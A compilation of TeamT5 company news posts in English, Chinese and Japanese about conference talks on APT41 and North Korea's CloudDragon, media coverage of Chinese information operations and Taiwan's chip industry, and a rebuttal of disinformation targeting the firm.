![VB2021_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644476329/VB_2021_pic_b00b865f9d.png)

<center>2020-2021年期間，APT41 的後門程式</center>


*首圖來源: [Virus Bulletin](https://vblocalhost.com/conference/)

TeamT5 參與 Virus Bulletin 國際會議，分享 APT41 相關研究

Since APT41 was sued by the FBI last year, the group has not disappeared. Instead, they have used more innovative and less well noticed techniques to evade detection by security products, such as:

Avoiding memory detection through dll hollowing technique and one miscellaneous method.

Using DPAPI to encrypt the real payload to make forensics more difficult.
Abusing the certificate to hide the payload in a signed PE file.
Using Cloudflare Worker to hide the real IP address.
Using legitimate tools like InstallUtil to execute code and bypass application whitelisting.

In addition to malware that is known to be used by APT41, we also found some newly developed malware. There are two new pieces of listening port malware, RBRAT and a Stone variant. We also found a shellcode-based backdoor, DNHash, and the method it used to call the Windows API was also innovative, making the reversing more difficult.
The group is also more careful in their usage of C2. They use DNS tunneling extensively as well as Cloudflare Worker to hide their real C2 IP.

We have observed that APT41 targeted telecommunications companies, key medical institutions, governments, and major infrastructures in various countries in 2021.
The prosecution did not deter them, but instead prompted them to evolve their attack techniques, and make it harder for researchers to track and detect.

In this talk we will provide more details about the campaigns of APT41, including its innovative TTPs, newly developed malware, lateral movement techniques, and the strategies they used for C2 after they were sued by the FBI. We will also propose some methods to prevent their latest attack techniques.

The speech was given by researchers - Aragorn Tseng , Charles Li, Peter Syu, and Tom Lai.

Slides & video of the speech can be accessed on the official website : [Link](https://vblocalhost.com/conference/presentations/evolution-after-prosecution-psychedelic-apt41)

![VB2021_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644476329/VB_2021_pic_b00b865f9d.png)

<center>APT41’s Backdoor during 2020-2021</center>

**About Virus Bulletin**
Virus Bulletin is a world-renowned international conference. It features the latest and best research on malware, malicious actors and threat intelligence annually.

*Image courtesy of [Virus Bulletin](https://vblocalhost.com/conference/)

TeamT5 Attends Virus Bulletin Event to Share Our In-Depth Research on APT41

The biggest information security conference in Japan, CODE BLUE 2021, will be held in hybrid style in Tokyo, both virtual and on-site, on October 19th and 20th. During the COVID-19 pandemic, cybersecurity matters more than ever. As a Taiwan-based cybersecurity company dedicated to combating cyber threats, TeamT5 is proud to support, sponsor and participate in this top international cybersecurity event in Asia.
 
This year, we will be giving workshops on topics of cyber threat intelligence, threat hunting, and ransomware protection. Join us for the exclusive workshops at CODE BLUE 2021 and enjoy an active interchange of ideas with us! (*Note: TeamT5 workshops are all by registration.)
 
Moreover, our cyber threat analysts Che Chang and Silvia Yeh will again be presenting at Law & Policy track, sharing their latest study on Chinese InfoOps at this year’s virtual conference.
 
See below for highlights of our events at CODE BLUE 2021.

## Speech

- **Law & Policy | Clip Addiction: A Study of Video-Based Chinese InfoOps with Threat Intelligence**

China’s Information Operations (InfoOps) continue to proliferate in cyberspace. TeamT5 cyber threat analysts Che Chang and Silvia Yeh will present their research on China’s video-based InfoOps across social media platforms.

![infoops_twitter.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1633513235/infoops_twitter_d624cf406f.png)

 

## TeamT5 Workshop

This year, TeamT5 and our partners, Macnica and Terilogy Worx Corporation, co-host a series of virtual workshops at CODE BLUE 2021. Our CEO Sung-ting Tsai (TT) and Cyber Threat Intelligence team will discuss topics on ransomware prevention and our research on APT attacks in Japan. Come join us!

### Workshop I: Strategy Overview of Ransomware Defense

Ransomware has become one of the top cyber security risks that could not be ignored by C-level executives. The threat actors are savvy and their attack techniques keep evolving. TeamT5 observes significant incidents keep happening and their impact is huge.

In this workshop, we will introduce what makes ransomware so difficult to defend, and as defenders, how to develop your defense plan. Through the real case studies dissecting ransomware attack techniques and procedures, we will discuss countermeasures for each attack phase and show you how to combat ransomware threats at the earliest stage.

- **Location**: via Microsoft Teams.

![ransom_twitter.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1633513234/ransom_twitter_7bfbb0912e.png)

 

### Workshop II: APT Attacks in Japan

In this workshop, TeamT5 cyber threat researcher will cover the latest attack methods adopted by Chinese APT groups, and illustrate possible threats Japan may face.
 
Furthermore, we will show you how TeamT5’s threat intelligence platform, ThreatVision, can help you forecast threat risks and deploy cybersecurity defense in advance.
 
Our partner, Macnica, will also present recent threat research on Japan. This workshop will provide you with a full landscape of the threat intelligence trends in Japan and how you can avoid their attacks by effectively applying threat intelligence to your business.

- **Location**: via Microsoft Teams.

![apt_twitter.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634010832/apt_twitter_9fd752e842.png)


 

### What is CODE BLUE?

CODE BLUE is Japan's largest international information security conference, which aims to contribute to a better Internet world by connecting people through CODE (technology), beyond and across the BLUE (oceans). Every year, the world's top-class specialists and researchers gather together to share their latest findings and give cutting-edge talks. It is a place for all participants to exchange information and collaborate to respond to and solve information security problems.
 
More information on CODE BLUE 2021 [Official Website](https://codeblue.jp/2021/en/).

 

*Image courtesy of [CODE BLUE](https://codeblue.jp/2021/en/).

【TeamT5 x CODE BLUE 2021】Because Security Matters

TeamT5 found one content farm published a disinformation article accusing TeamT5 of conducting phishing attacks against the Japanese government and Japanese tech companies. The actor abused the mechanism of the content farm business for spreading baseless evidence to discredit TeamT5 and the Taiwanese government.

In this clarification, TeamT5 declares that the above-mentioned disinformation are by no means true. TeamT5 has never engaged in any cyber-attacks, and will not accept any commissions to conduct cyber-attacks.

This disinformation attack is in line with the tactics, techniques, and procedures (TTPs) of state-sponsored information operation that has been observed closely by us. The article is highly possible to be written by non-native Japanese speakers due to the multiple grammar mistakes and many Chinese characters. TeamT5 has shared all the above information with the law enforcement in both Taiwan and Japan. The further detail of this attack is now under investigation.

Since the start of TeamT5, we have been helping our clients and partners to defend against all kinds of cyberattacks. We do not and will never use our resources and products to conduct any cyberattacks. If you require further information, please contact <pr@teamt5.org>.

 

*Image courtesy of [Freepik](https://www.freepik.com/)

Clarification on Malicious Disinformation Targeting TeamT5

正值中秋連假之際，某特定內容農場開始散播關於 TeamT5 的謠言。該謠言以日文撰寫，其內容指稱TeamT5 對日本政府與各大日本企業進行釣魚攻擊並大量收集個人資訊云云。

TeamT5 在此嚴正聲明，前開網路謠言絶非事實，TeamT5 從未從事任何網路攻擊的行動，更不會接受任何客戶委託進行網路攻擊之行為。

TeamT5 追查後發現，該造謠者係利用內容農場商業模式讓該不實內容於中文和日文的內容農場偕同轉發。但該內容不僅偽造釣魚信件的截圖，其內更有大量日文文法錯誤與錯字，還有許多中文詞彙假冒在其中，種種跡象均顯示該謠言撰稿者係偽冒成日文母語人士撰寫日文新聞稿。

初步分析後，TeamT5 情資團隊認為這起謠言的手法符合我們過往研究的國家級駭客散播不實新聞的戰術、技術和流程（Tactics, Techniques, and Procedures, TTPs）。目前 TeamT5 已將相關分析與證據備份，並已通報請台日雙邊的調查單位協助偵查。

謹再次重申，TeamT5 自創立以來，協助所有的客戶與夥伴阻擋各類網路威脅。我們過去、現在以及未來都不會主動發起或接受委託從事任何網路攻擊活動。

> Contact: <PR@teamt5.org>

 

*圖片來源：[Freepik](https://www.freepik.com/)

TeamT5 杜浦數位安全針對假新聞攻擊之澄清

TeamT5（以下、当社）は、ある特定のコンテンツファームが、当社が日本政府及び日本国内のIT企業に対してフィッシング攻撃を行い、個人情報を大量に収集しているとの事実に反する偽情報を流布していることを発見いたしました。該当の偽情報は、コンテンツファーム・ビジネスの仕組みを熟知し、悪用する行為者によって、当社および台湾政府の名誉もしくは信用を毀損することを目的に配布されたものです。

本声明を通じて、当社は、該当記事によって流布された内容が事実無根のものであり、一切事実ではないことをお伝えいたします。当社はこれまでいかなるサイバー攻撃にも関与したことはなく、また、第三者からサイバー攻撃の依頼を請け負ったこともありません。

今回のディスインフォメーション攻撃は、当社がこれまで観測してきた国家主導の情報工作の戦術、技術、手順（TTPs）と合致するものです。この記事には複数の文法上の誤りや中国語（簡体字）の利用などが確認できることから、日本語を母語としない筆者によって記述された可能性が高く、日本人になりすまして投稿されたものと考えられます。当社は、事態の全容解明に向け、すべての情報を台湾及び日本の法執行機関に提供し、引き続き調査を進めております。

創業以来、当社は、あらゆる種類のサイバー攻撃からクライアントの皆様やパートナー各社様の安全確保に貢献し、セキュリティ対策強化の一助となるよう努めてまいりました。当社が、当社の製品及びリソースを用いてサイバー攻撃を実施、或いは請け負ったことはなく、今後もありません。

本件に関するご質問等につきましては次のメールアドレス（<pr@teamt5.org>）までお問い合わせくださいますようお願い申し上げます。

 

*Image courtesy of [Freepik](https://www.freepik.com/)

当社に関する偽情報の流布及び誹謗中傷への対応について

[This is an expert of the article. Read more at [CNN](https://edition.cnn.com/2021/07/23/tech/taiwan-china-cybersecurity-intl-hnk/index.html)]

In an exclusive interview with CNN last month, Taiwan's Foreign Minister Joseph Wu accused China of using military intimidation, disinformation campaigns and cyberattacks to undermine the Taiwanese population's trust in their own government.

"They want to shape Taiwanese people's cognition that Taiwan is very dangerous, and Taiwan cannot do without China," he said. "[But] Taiwan has some very good capability in dealing with cyberattacks. And that is because of our long experience dealing with the cyber activities initiated by the Chinese side."

Chien, the Taiwanese cybersecurity department leader, said the self-governing island has been subject to tens of millions of attacks monthly, a trend the government has recorded for at least the last few years.

But he said Taiwan has been able to defend against most attempts and serious breaches resulting in stolen data or paralyzed services numbered about 10 over the last year.
Chien declined to go into specific details about those attacks, and was willing only to cite successful hacks of Taiwan's education system, which resulted in student data being stolen.

Even if a cyber intrusion is resolved, such attacks can have long-term consequences because of the kind of information that attackers can gain access to, according to Tsai Sung-ting, CEO of Team T5, a Taiwanese cybersecurity solution provider.

"We frequently observe that after they compromise an organization, the first thing is to steal the emails and documents," he said. "So even after you clean the infection this time, they may come back next month or a few months later. So I will say the threat is persistent."

![CNN interview.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644552677/CNN_interview_cc255becfc.jpg)

<center>Tsai Sung-ting, CEO of Taiwanese cybersecurity solution provider Team T5 </center>


*Banner courtesy of [Pixabay](https://pixabay.com/photos/china-graffiti-nation-flag-2704112/)

[CNN] How Taiwan is trying to defend against a cyber 'World War III'

中國對台灣的認知作戰，引起國際媒體關注，美國 CNN 記者強調，中國針對台灣的資訊心理戰，才是中國攻擊台灣的主要戰場。

CNN 報導指出，台灣每個月都遭受2千萬次網路攻擊，從國防、金融到基礎設施都可能是攻擊目標。

報導採訪幾位台灣資安專家，TeamT5 執行長蔡松廷（TT）表示，中國對台發動的假新聞與網路資訊戰，才是最大的「威脅」，後果恐怕比核武攻擊還要嚴重。

- 台灣媒體轉載報導(中文): https://youtu.be/siPdTRQgqo4
- CNN報導(英文): https://edition.cnn.com/2021/07/23/tech/taiwan-china-cybersecurity-intl-hnk/index.html


![CNN interview.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644552677/CNN_interview_cc255becfc.jpg)

<center>TeamT5 執行長蔡松廷（TT）受訪畫面</center>


*首圖來源: [Pixabay](https://pixabay.com/photos/china-graffiti-nation-flag-2704112/)

【CNN 採訪報導】探究中國認知作戰

The North Korean APT group CloudDragon, also known as Kimsuky, continues to target South Korean governments and organizations. TeamT5 has been actively monitoring this threat actor and we recently discovered CloudDragon abusing VPN zero-day vulnerability to launch a new attack against South Korean entities.

## TeamT5's Vulnerability Research Results

TeamT5 recently discovered two malicious samples circulating in South Korea, and both samples are installers of a newly identified backdoor which we named MemzipRAT. With further investigation, we believe this attack was aiming at a South Korean company in the aerospace sector. The company is part of a top 10 conglomerate in South Korea, whose business includes aerospace, chemicals, financial services, IT, etc. 

In fact, CloudDragon has been accused of using VPN vulnerabilities to attack numerous entities recently, including Korean government agencies. According to TeamT5’s threat intelligence, we hold high confidence that the above malware to be follow-up attacks of the disclosed attack campaign conducted by CloudDragon. As the exploitation starts from a popular VPN system, these campaigns might lead to massive attacks and damage in the near future. And TeamT5 will keep taking careful attention to CloudDragon's recent campaign for it might end up a severe supply chain attack.

 

*Image courtesy of [Pixabay](https://pixabay.com/illustrations/north-korea-dprk-korea-juche-asia-1151137/)

Another CloudDragon attack abusing VPN zero-day vulnerability to target South Korean entities

北韓 APT 攻擊族群 CloudDragon（又名為 Kimsuky）持續針對南韓政府與組織發動攻擊。 TeamT5 長期持續關注此駭客族群，發現 CloudDragon 近期利用 VPN 零時差漏洞（zero-day vulnerability）對南韓發動另一波新的攻擊。

## TeamT5 漏洞研究結果

根據 TeamT5 近期研究，我們發現了兩個攻擊南韓的惡意程式樣本，與我們最新發現的後門程式 MemzipRAT 有高度關聯，皆為其安裝程式。我們推測這一波攻擊是針對南韓某航太產業公司而來，該受駭公司為南韓前十大企業之一，業務範圍涵蓋航太、化學、金融、IT 服務等。攻擊者利用一尚未揭露的 VPN 伺服器漏洞，駭進目標環境並部署惡意程式。

最近多起針對韓國的攻擊，包括南韓政府研究單位受駭，也疑似為 CloudDragon 透過 VPN 服務漏洞展開的入侵行動。根據 TeamT5 掌握的相關情資，我們有高度信心認為，這次攻擊使用的新後門程式為 CloudDragon VPN 攻擊的後續利用。我們推測，攻擊者將持續利用此知名 VPN 系統漏洞，發動更大型、損害更嚴重的攻擊，未來也不排除轉變為供應鏈攻擊的可能。

 

*圖片來源：[Pixabay](https://pixabay.com/illustrations/north-korea-dprk-korea-juche-asia-1151137/)

北韓駭客組織再次利用 VPN 零時差漏洞對南韓航太產業發動攻擊

TeamT5 長期致力於網路威脅研究，特別專精進階持續性滲透攻擊(Advanced Persistent Threat, APT)之研究。

TeamT5 威脅情資分析師 Linda Kuo 與惡意程式研究員 DuckLL Liao 於本年度 HITBSecConf，以「The Phishermen: Dissecting Phishing Techniques of CloudDragon APT」為主題，基於具體案例，說明北韓駭客組織的 CloudDragon 網路攻擊行動。

本次演講簡報與影片現可於官網觀看。

- 演講摘要: [連結](https://conference.hitb.org/hitbsecconf2021ams/sessions/the-phishermen-dissecting-phishing-techniques-of-clouddragon-apt/)
- 演講簡報: [連結](https://conference.hitb.org/hitbsecconf2021ams/materials/)
- 演講影片: [連結](https://youtu.be/Dv2_DK3tRgI)

![HITBSecConf_2021_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644544076/HITB_Sec_Conf_2021_pic_348feb6445.png)
<center>攻擊手法</center>

**關於HITBSecConf **

HITBSecConf 全稱為 Hack In The Box Security Conference，旨在討論新世代的電腦安全問題，透過為期兩天的培訓和多軌同步進行的會議，促進思想交流。每年定期於吉隆坡(馬來西亞)與阿姆斯特丹(荷蘭)舉辦，2021會議因新冠肺炎疫情，為線上舉辦。

*首圖來源: [HITBSecConf](https://conference.hitb.org/hitbsecconf2021ams/)

TeamT5 參與亞歐最大資安會議 HITBSecConf，說明北韓駭客組織 APT 攻擊手法

TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. 

Our senior threat intelligence analyst Linda Kuo & senior threat intelligence researcher DuckLL Liao presented their research in HITBSecConf 2021. On the topic of "The Phishermen: Dissecting Phishing Techniques of CloudDragon APT", they prepare real cases and in-depth analysis on CloudDragon APT’s various phishing techniques. Some of the personal data collected in previous stage can be reused as baits, followed by CloudDragon;s proprietary backdoor BabyShark and AppleSeed. Thorough technical analysis on the process and malware will be illustrated clearly in the presentation. Windows is not the only platform the group manipulates. We also observed them spreading to android system and managing to approach their targets via different methods.

More details of the speech can be found on the official website.

- Speech Summary: [Link](https://conference.hitb.org/hitbsecconf2021ams/sessions/the-phishermen-dissecting-phishing-techniques-of-clouddragon-apt/)
- Speech slides: [Link](https://conference.hitb.org/hitbsecconf2021ams/materials/)
- Speech Video: [Link](https://youtu.be/Dv2_DK3tRgI)

![HITBSecConf_2021_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644544076/HITB_Sec_Conf_2021_pic_348feb6445.png)
<center>phishing process</center>

**About HITBSecConf**

HITBSecConf or the Hack In The Box Security Conference is an annual event for security researchers and professionals around the world. It aims for gathering the discussion and dissemination of next generation computer security issues during two days of training and multi-track conference.

The event is held annually in Kuala Lumpur, Malaysia and Amsterdam in The Netherlands. Due to COVID-19, 2021 event was held online.

*Image courtesy of [HITBSecConf](https://conference.hitb.org/hitbsecconf2021ams/)

TeamT5 Attends HITBSecConf and Illustrate North Korea Hacker Group’s APTs

Hold online for the first time due to the COVID-19 pandemic, on January 28, Japan Security Analyst Conference 2021 (JSAC2021), the annual cyber security conference hosted by JPCERT/CC, aimed to bring together security analysts and provide opportunities for them to share technical knowledge related to incident response and analysis.

TeamT5's CTO Charles Li and other Japanese researchers from ITOCHU Corporation, Macnica Networks, and Kaspersky, presented a joint speech on topic of [A41APT case - Analysis of the Stealth APT Campaign Threatening Japan](https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf). In this session, they introduced the A41APT targeted attack campaign that has been confirmed since March 2019. The attacker's infrastructure and the relevance of this attacker group's attribution to specific APT groups were also discussed.

As one of the 11 presenters out of 22 candidates, our cyber threat analyst Shui Lee and malware researcher Leon Chang spoke on the third track of the conference, unveiling a new Chinese APT group LuoYo, which hasn't yet been grouped by the public.

 

![JSAC_LuoYu.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1613705588/JSAC_Luo_Yu_12e0800310.png)
_Shui and Leon presented their in-depth analysis of ReverseWindow._

According to their speech "[LuoYu, the Eavesdropper Sneaking in Multiple Platforms](https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf)", LuoYo's activity has been observed since 2014, targeting tech companies, media, educational institutions, and other industries in China, Hong Kong, Japan, South Korea, and Taiwan. This presentation focused on a detailed description on ReverseWindow. For more details, please read the full [JSAC2021 Report](https://blogs.jpcert.or.jp/en/2021/02/jsac2021report1.html) by JPCERT/CC.

 

## About JSAC2021

Cyber attacks occur on a daily basis, and its techniques have been constantly changing. Engineers who analyze and respond to them are required to improve their skills to keep up with the ever-changing techniques of cyber attacks. However, there are few occasions in Japan where techniques and knowledge of incident analysis and response are shared among engineers. Security analysts are expected to get together and exchange their technical expertise on incident handling to develop their strength against cyber attacks both individually and as a whole.

To achieve this goal, JPCERT/CC hosts Japan Security Analyst Conference (JSAC), the annual conference for exchanging technical information on cyber security incident analysis and response. In this conference, security analysts who handle security incidents on a daily basis are encouraged to share information with each other to deal with ever-evolving cyber attacks today and in the future.

More information on [JSAC2021](https://jsac.jpcert.or.jp/en/index.html) event website.

 

*Image courtesy of [JSAC2021](https://jsac.jpcert.or.jp/index.html)

Japan Security Analyst Conference 2021

The Chinese government has expanded its information warfare to the highest level in the past. It has been confirmed that even the Chinese government-supported Advanced Persistent Threat (APT) hacking organization has been mobilized to manipulate public opinion such as disseminating fake news. APT organizations have gone beyond intelligence warfare. This is the first time that it has been confirmed that they have participated in public opinion.

According to a report released by Taiwanese threat intelligence company TeamT5 at the recent SANS Summit, false accounts opened on social network service (SNS) platforms such as Facebook, Google (YouTube), and Twitter have been investigated at an all-time high.

TeamT5 made this statement based on the number of closed accounts published on each SNS platform. Google said it had removed 186 YouTube channels that are estimated to be involved in the Chinese information war in the second quarter of last year.

The Chinese government is known to hold a pro-Chinese content and dissemination of false facts, which are known to be engaged in a defensive public opinion battle that includes state-run media and spam botnets while creating false accounts to create favorable public opinion. The number of Facebook pages used by The New York Times, CNN, and BBC pages exceeded the number of followers two years ago. As of April 2019, the number of followers on CGTN's Facebook page, the Chinese state media, was 75 million, while The New York Times, CNN, and BBC had 50 million each. 

It wasn't even crazy. Targeting Taiwan, which the Chinese government observes, the APT hacking organization used "Juiker" to spread false information, which is a popular SNS platform used in Taiwan like KakaoTalk.

TeamT5 said, "The APT Group is an organization that focuses on espionage and information stealing, and the fact that they are mobilized in information warfare means that the Chinese government is putting all efforts into information warfare," and "It is urgent," TeamT5 CTI analyst Che Chang warned.

The Chinese government turned out to build a system tool that monitors public opinion using Big Data and Artificial Intelligence (AI) technology, a system that can monitor not only domestic social media but also sensitive websites distributed abroad.

TeamT5 is a security company founded by APT experts. It tracks and monitors versions between the Chinese government and supplies threat intelligence to Asia-Pacific regions such as Taiwan and Japan.

[Read more](https://www.etnews.com/20210215000176)

【Korea ETNews】China, Information Warfare... Mobilizing Public Opinion Manipulation And APT Group

## A shortage of auto chips has exposed TSMC’s key role in the supply chain

As China pushes the world to avoid official dealings with Taiwan, leaders across the globe are realizing just how dependent they’ve become on the island democracy.

Taiwan, which China regards as a province, is being courted for its capacity to make leading-edge computer chips. That’s mostly down to Taiwan Semiconductor Manufacturing Co., the world’s largest foundry and go-to producer of chips for Apple Inc. smartphones, artificial intelligence and high-performance computing.

## Chip Industry Choke Points
The industry’s biggest companies are siloed in just a few countries.


“TSMC is becoming more and more dominant,” said Kazumi Nishikawa, an official working on technology issues at Japan’s Economy Ministry. “This is something everybody in the chip industry must find a way to deal with.”

China, in its five-year plan presented in October, is channeling help to the chip industry and other key technologies to the tune of $1.4 trillion through 2025. Yet even that kind of money doesn’t negate the need for Taiwan. Indeed, China has long tapped the island for chip-making talent; two key executives at China’s top chipmaker, Semiconductor Manufacturing International Corp., used to work at TSMC: co-Chief Executive Officer Liang Mong Song and Vice Chairman Chiang Shang-yi.

But with Washington stymieing China’s progress, there is also speculation that Beijing could resort to stealing chip IP, with Taiwan at the heart of those endeavors.

Taiwanese cyber security firm TeamT5 has observed a steady increase in attacks on the island’s chip industry corresponding to the tightening of U.S. export controls on China. While it’s not always possible to know if these are Chinese state actors, “they are all attacking the Taiwanese semiconductor industry,” Shui Lee, a T5 cyber threat analyst, said.

Fellow analyst Linda Kuo said the Taiwanese government was alarmed by a ransomware attack on TSMC in 2018 and had announced plans for some $500 million to help the industry become more aware of cyber security issues.

[Read more](https://www.bloomberg.com/news/features/2021-01-25/the-world-is-dangerously-dependent-on-taiwan-for-semiconductors)

 

*Image courtesy of [Unsplash](https://unsplash.com/photos/nIEHqGSymRU?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink)

【Bloomberg】The World Is Dangerously Dependent on Taiwan for Semiconductors

近來傳出全球半導體爆發缺貨潮，美國、德國、日本汽車大廠各自透過關係，希望台灣政府協助採購台積電晶片。《彭博社》26 日以「[全球危險地依賴台灣半導體](https://www.bloomberg.com/news/features/2021-01-25/the-world-is-dangerously-dependent-on-taiwan-for-semiconductors)」為題解析此現象，指出這不僅凸顯台積電在全球供應鏈的重要性及位階，也意味著各國政府領導人非常需要台灣維持民主、不被中國進犯，否則地緣政治紛擾將成為晶片供應瓶頸。

柏林智庫「新責任基金會」（Stiftung Neue Verantwortung）科技與地緣政治專案主任克萊恩漢斯（Jan-Peter Kleinhans）表示，台灣主宰了美國委外晶片製造市場，因此是整個半導體價值產業鏈最重要的潛在關鍵，一旦台灣失效，就會讓整個產業鏈無法運作。

#### 台灣的晶片技術，能抵禦中國進犯？

為應對中國的晶片短缺危機，中國國家主席習近平去年 10 月公布，計畫在 2025 年以前砸下 1.4 兆美元（約新台幣 39 兆元）發展國內半導體產業。然而即使這麼做，也不能完全消除中國對台灣的晶片需求。中國長期不斷挖腳製造晶片的高科技人才，曾是台積電主要高層的梁孟松、蔣尚義，如今是中國中芯國際的共同執行長和副董事長。

有鑑於美國阻礙中國發展晶片，有人猜測北京可能會竊取台灣的晶片智慧財產權技術。台灣網絡安全公司杜浦數位安全（TeamT5）觀察到，美中技術冷戰期間，台灣晶片產業受到的網路攻擊也跟著增加，但無法辨認攻擊是否都由中國當局主使，只能確定這些駭客攻擊的受害者全都是台灣半導體公司。

[點此閱讀完整報導](https://www.storm.mg/article/3426084?mode=whole)

 

*圖片來源：[Unsplash](https://unsplash.com/photos/nIEHqGSymRU?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink)

【風傳媒】晶片大缺貨，美德日向台灣求援　彭博社：全球對台依賴達到「危險」地步

TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. Since 2016, we have been researching Chinese information operations and publishing many research reports.

In CTI Summit 2021 , TeamT5’s cyber threat intelligence analysts Che Chang and Silvia Yeh gave a speech on the topic "Analyzing Chinese Information Operations with Threat Intelligence". They assess targeted social media campaigns spreading disinformation based on highly confidential data & how it could be used against other countries. This type of information operation can cause distrust & chaos in democratic societies.

The slides of the speech can be downloaded on the official website. 
➡ [Download Link](https://www.sans.org/presentations/analyzing-chinese-information-operations-with-threat-intelligence/)

The video of the speech can be viewed on SANS Institute’s official Youtube Channel. 
➡ [Video Link](https://youtu.be/YBtJ3vwbw9Y) 

![CTI Summit 2021_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644477694/CTI_Summit_2021_pic_e17e5a816e.png)
<center>Diamond Model of Video-Based InfoOps Analysis</center>


## About CTI Summit
CTI Summit is organized by SANS Institute annually. It’s an international event that gathers experts to give talks. And it provides opportunities for professionals to connect and network with the threat intel community.


*Image courtesy of [SANS Institute](https://www.sans.org/apac/)

TeamT5 Presents Analysis on Chinese Information Operation on CTI Summit 2021

TeamT5 威脅情資分析團隊從 2016年開始深入追蹤、研究中國的資訊戰攻擊(Information Operation, InfoOp)， 並發表多項研究。

於本年度 CTI Summit，由威脅情資分析師 Che Chang 與 Silvia Yeh 說明最新中國資訊戰攻擊的研究，並著重於中國防火長城內外的資訊操縱與訊息控制分析。

演講簡報與影片已於研討會官網公開，下載連結[請點此](https://www.sans.org/presentations/analyzing-chinese-information-operations-with-threat-intelligence/)，演講影片[請點此](https://youtu.be/YBtJ3vwbw9Y)

![CTI Summit 2021_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644477694/CTI_Summit_2021_pic_e17e5a816e.png)
<center>資訊作戰之分析模型</center>

## 關於 CTI Summit
CTI Summit 由國際知名的資安研暨及學術教育組織 SANS Institute 主辦，為資訊安全專家、稽核員、網管系統管理人員等資安界專業人士，提供資訊安全教育課程與技術研討會。

*首圖來源: [SANS Institute](https://www.sans.org/apac/)

TeamT5 於 CTI Summit 2021 分享中國資訊作戰研究

今年のCODE BLUEは10月29日、30日の両日、COVID-19の影響によりオンラインで開催されます。Team T5は、日本でトップクラスのこのセキュリティカンファレンスにスポンサーとして参加できることを非常にうれしく思います。

私たちはこのバーチャルイベントに参加し、また、我々のサイバー脅威分析官やマルウェア分析官がCODE BLUE 2020のスピーカーとして登壇できることを誇りに感じております。 

ここで、CODE BLUE 2020で私たちが予定しているイベントについてご紹介しましょう。

## スピーチ

- **法とポリシー：「脅威インテリジェンスによる中国の情報操作の分析」**

私たちのサイバー脅威分析官であるチェ・チャンとシルビア・イェが、中国のソーシャルメディアプラットフォームにおける情報操作についてご説明します。

![twitter_talk1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk1_0dcc012fee.png)

 

- **サイバー犯罪：「Operation I am Tom：企業ネットワークにおいてAPTアクターがその内部で移動する方法」**

Team T5のCTOであるチャールズ・リーとマルウェア分析官のアラゴルン・ツェンから、企業ネットワークにおけるラテラルムーブメントの手法とセキュリティモニタリングシステムのバイパス手法についてご説明します。

![twitter_talk2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk2_96b51874a6.png)

 
 
- **オープントーク：「サイバー冷戦と緊張 ― クリティカルインフラストラクチャは攻撃されている」**

Team T5のCEOであるSung-ting Tsai(TT)が、私たちが実際に台湾で経験したセキュリティインシデントから学んだ経験から、とくにクリティカルインフラストラクチャを目標にした攻撃に関してお話しします。

![twitter_open-talk](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_open-talk_855b5d4b4b.png)

 

### ワークショップ：APTマルウェア分析入門

TeamT5のLab Engine & Global Supportチームとパートナーのテリロジーワークスによる、ワークショップです。脅威ハンティングツールである「ThreatSonar」を用いたマルウェアのリバースエンジニアリングのための基本テクニックを、日英両言語で説明します。

![twitter_worksop](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_worksop_fb1cf3480a.png)

- **スピーカー**
 - TeamT5 Lab Engine & Global Support
 - 株式会社テリロジーワークス　ディレクター　ビジネス開発担当 松浦　洋一

- **要約**

このワークショップではマルウェアのリバースエンジニアリングに必要な基礎テクニックとＯＳＩＮＴを用いた分析方法について説明します。今回はLinuxおよびWindows環境の2つの最も危険度の高いマルウェア「BigPooh(LODEINFO)」と「LNCookie(TSCookie Linux version)」に注目して分析を行いますので、APTマルウェアの解析に必要な多くの実践的なコンセプトを学ぶことができます。また、分析と脅威ハンティングに最適な弊社ツール「ThreatSonar」を用いた手法についてもお話しします。

 

- **開催はCODE BLUE [EventHub](https://client.eventhub.jp/ticket/tZ8hp0-Qk)が提供するGoogleMeetで行います。**

![workshop_jp instruction](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603935671/workshop_jp_instruction_653442301b.png)

 

### CODE BLUEとは？

CODE BLUEは日本で最大級の情報セキュリティカンファレンスであり、CODE(技術)を通じて人々を結び、BLUE(海原)を超えて集うことにより、より良いインターネット世界に貢献することを目的としています。毎年世界中からトップクラスのスペシャリストやリサーチャーが最新の発見や最先端の話題を持ち寄って集まっています。ここはすべての参加者にとって、様々なセキュリティ問題に関して情報交換し、協力しながら対応、解決していくための場なのです。

さらに詳しい情報はCODE BLUE 2020オフィシャルサイトへどうぞ。

https://codeblue.jp/2020/en/

 

*Image courtesy of CODE BLUE from https://codeblue.jp/2020/en/

TeamT5 は“CODE BLUE 2020”オンラインイベントに登壇します

CODE BLUE 2020 is held online for two days on October 29th and 30th due to the COVID-19 pandemic. And TeamT5 is thrilled to be sponsoring and participating in this top-class information security conference in Japan.
 
We are very honored to attend this virtual event this year, and our cyber threat analysts and malware researchers are going to talk at CODE BLUE 2020. We also organize a workshop together with our partner, Terilogy Worx Corporation. Join us and don't miss out on this fantastic event!

Here is an overview of our speech and workshop.

## Speech

- **Law & Policy | Dissecting China’s Information Operations with Threat Intelligence**

